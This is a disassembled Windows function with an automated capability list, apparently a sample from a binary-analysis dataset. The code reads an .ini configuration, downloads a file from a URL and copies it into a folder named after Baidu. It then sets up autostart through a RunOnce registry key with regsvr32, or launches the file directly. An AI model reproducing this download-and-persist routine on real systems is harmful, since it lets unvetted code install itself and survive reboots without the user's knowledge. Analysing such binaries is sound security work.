Function at 0x401a80
Capabilities:
Copy file
Create process on windows
Delete file
Download url
Get common file path
Persist via run registry key
Read .ini file
Receive data
Set registry value

Disassembly:
sub esp, 0xa4c
mov eax, dword [0x410070]
push ebx
push ebp
mov ebp, dword [esp + 0xa58]
push esi
mov esi, dword [esp + 0xa60]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
push 0x103
mov dword [esp + 0xa60], eax
lea eax, [esp + 0x54c]
push eax
push 0x40d781
push str.filename
xor ebx, ebx
push ebp
mov dword [esp + 0x40], ecx
mov byte [esp + 0x55c], bl
call edi
cmp eax, ebx
je 0x401e1e
cmp eax, 0x103
ja 0x401e1e
cmp byte [esp + 0x544], bl
je 0x401e1e
push esi
push 0x103
lea ecx, [esp + 0x95c]
push ecx
push str.1_0_0_1
push str.version
push ebp
mov byte [esp + 0x96c], bl
call edi
cmp eax, ebx
je 0x401e1e
cmp eax, 0x103
ja 0x401e1e
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x954]
push edx
call fcn.00401800
push esi
push 8
push str.operation
push ebp
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x401e1e
push esi
push 0x103
lea eax, [esp + 0x858]
push eax
push 0x40d781
push 0x40d758
push ebp
mov byte [esp + 0x868], bl
call edi
cmp eax, ebx
je 0x401e1e
cmp eax, 0x103
ja 0x401e1e
cmp byte [esp + 0x850], bl
je 0x401e1e
push esi
push 0x103
lea ecx, [esp + 0x754]
push ecx
push 0x40d781
push str.dest
push ebp
mov byte [esp + 0x764], bl
call edi
cmp eax, ebx
je 0x401e1e
cmp eax, 0x103
ja 0x401e1e
cmp byte [esp + 0x74c], bl
je 0x401e1e
push esi
push ebx
push 0x40d74c
push ebp
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
cmp eax, ebx
mov dword [esp + 0x24], eax
je 0x401e1e
mov edi, str.cf
lea esi, [esp + 0x74c]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov byte [esp + 0x440], bl
jne 0x401c8b
push 1
push 0x2b
lea eax, [esp + 0x38]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x401e1e
push str.BaiduBaiduX_
lea ecx, [esp + 0x34]
push ecx
call esi
lea edx, [esp + 0x544]
push edx
lea eax, [esp + 0x34]
push eax
call esi
lea ecx, [esp + 0x30]
push ecx
call fcn.00401860
add esp, 4
push 0x104
lea edx, [esp + 0x444]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x440]
push 0x5c
push eax
call fcn.004039a0
add esp, 8
cmp eax, ebx
je 0x401d03
mov byte [eax], bl
jmp 0x401d03
push 0x104
lea ecx, [esp + 0x444]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401e1e
lea edx, [esp + 0x440]
push 0x5c
push edx
call fcn.004039a0
add esp, 8
cmp eax, ebx
je 0x401d03
mov byte [eax], bl
push 0x103
lea eax, [esp + 0x444]
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.004033a0
add esp, 0xc
lea edx, [esp + 0x74c]
push edx
lea eax, [esp + 0x34]
push eax
call esi
push 0x40d6a4
lea ecx, [esp + 0x34]
push ecx
call esi
lea edx, [esp + 0x544]
push edx
lea eax, [esp + 0x34]
push eax
call esi
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x2c]
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call fcn.00401730
mov ecx, dword [esp + 0x18]
cmp ecx, dword [esp + 0x20]
jb 0x401d4f
ja 0x401d39
mov edx, dword [esp + 0x14]
cmp edx, dword [esp + 0x1c]
jb 0x401d4f
lea eax, [esp + 0x30]
push ebx
push eax
call fcn.0040394b
add esp, 8
test eax, eax
je 0x40212a
push 0x103
lea ecx, [esp + 0x444]
push ecx
lea edx, [esp + 0x240]
push edx
call fcn.004033a0
add esp, 0xc
push 0x40d6a4
lea eax, [esp + 0x23c]
push eax
call esi
push ebp
lea ecx, [esp + 0x23c]
push ecx
call esi
push 0x103
lea edx, [esp + 0x444]
push edx
lea eax, [esp + 0x344]
push eax
call fcn.004033a0
add esp, 0xc
push str.update_
lea ecx, [esp + 0x340]
push ecx
call esi
lea edx, [esp + 0x850]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [esp + 0x240]
push eax
lea ecx, [esp + 0x85c]
push ecx
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x401e1e
lea edx, [esp + 0x238]
push edx
call section..text
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, ecx
jne 0x401e1e
lea eax, [esp + 0x33c]
push eax
lea ecx, [esp + 0x23c]
push ecx
call fcn.00401a10
add esp, 8
test eax, eax
je 0x401e3a
lea edx, [esp + 0x238]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, 0xffffffff
mov ecx, dword [esp + 0xa58]
pop edi
pop esi
pop ebp
pop ebx
call fcn.0040333a
add esp, 0xa4c
ret 8
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x238]
push eax
call edi
lea ecx, [esp + 0x544]
push ecx
lea edx, [esp + 0x340]
push edx
call esi
lea eax, [esp + 0x33c]
push ebx
push eax
call fcn.0040394b
add esp, 8
test eax, eax
jne 0x401e1e
test byte [esp + 0x10], 8
je 0x401e1e
push ebx
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x344]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40202a
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x340]
push ecx
call fcn.004014b0
mov al, byte [esp + 0x18]
add esp, 8
test al, 4
je 0x401f98
push ebx
lea edx, [esp + 0x14]
push edx
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x104
lea eax, [esp + 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, 0xc8
jge 0x40212a
cmp eax, ebx
jle 0x40212a
cmp byte [esp + eax + 0x133], 0x5c
jne 0x401f17
push str.regsvr32.exe
lea ecx, [esp + 0x138]
push ecx
jmp 0x401f24
push str._regsvr32.exe
lea edx, [esp + 0x138]
push edx
call esi
lea eax, [esp + 0x134]
push ebx
push eax
call fcn.0040394b
add esp, 8
cmp eax, 0xffffffff
je 0x401e1e
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x138]
push edx
push str._s__s___s_
lea eax, [esp + 0x654]
push 0x103
push eax
call fcn.00403348
add esp, 0x14
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x64c]
push ecx
push 1
push ebx
lea edx, [esp + 0x554]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401e21
test al, 2
je 0x40212a
push ebx
lea edx, [esp + 0x14]
push edx
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x30]
push eax
push str.__s_
lea ecx, [esp + 0x13c]
push 0x103
push ecx
call fcn.00403348
lea eax, [esp + 0x144]
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401ff0
mov ecx, dword [esp + 0x10]
sub eax, edx
push eax
lea edx, [esp + 0x138]
push edx
push 1
push ebx
lea eax, [esp + 0x554]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401e21
lea eax, [esp + 0x33c]
push eax
call edi
mov al, byte [esp + 0x10]
test al, 4
je 0x4020ef
push 0x104
lea ecx, [esp + 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, 0xc8
jge 0x40212a
cmp eax, ebx
jle 0x40212a
cmp byte [esp + eax + 0x133], 0x5c
jne 0x40207f
push str.regsvr32.exe
lea edx, [esp + 0x138]
push edx
jmp 0x40208c
push str._regsvr32.exe
lea eax, [esp + 0x138]
push eax
call esi
lea ecx, [esp + 0x134]
push ebx
push ecx
call fcn.0040394b
add esp, 8
cmp eax, 0xffffffff
je 0x401e1e
lea edx, [esp + 0x30]
push edx
push str.__s_
lea eax, [esp + 0x650]
push 0x103
push eax
call fcn.00403348
push ebx
lea ecx, [esp + 0x65c]
push ecx
push 0x40d6bc
push str.regsvr32
lea edx, [esp + 0x154]
push edx
push ebx
call fcn.00403933
add esp, 0x28
xor eax, eax
jmp 0x401e21
test al, 2
je 0x40212a
lea eax, [esp + 0x30]
push eax
push str.__s_
lea ecx, [esp + 0x650]
push 0x103
push ecx
call fcn.00403348
add esp, 0x10
push 5
push ebx
push ebx
lea edx, [esp + 0x654]
push edx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
jmp 0x401e21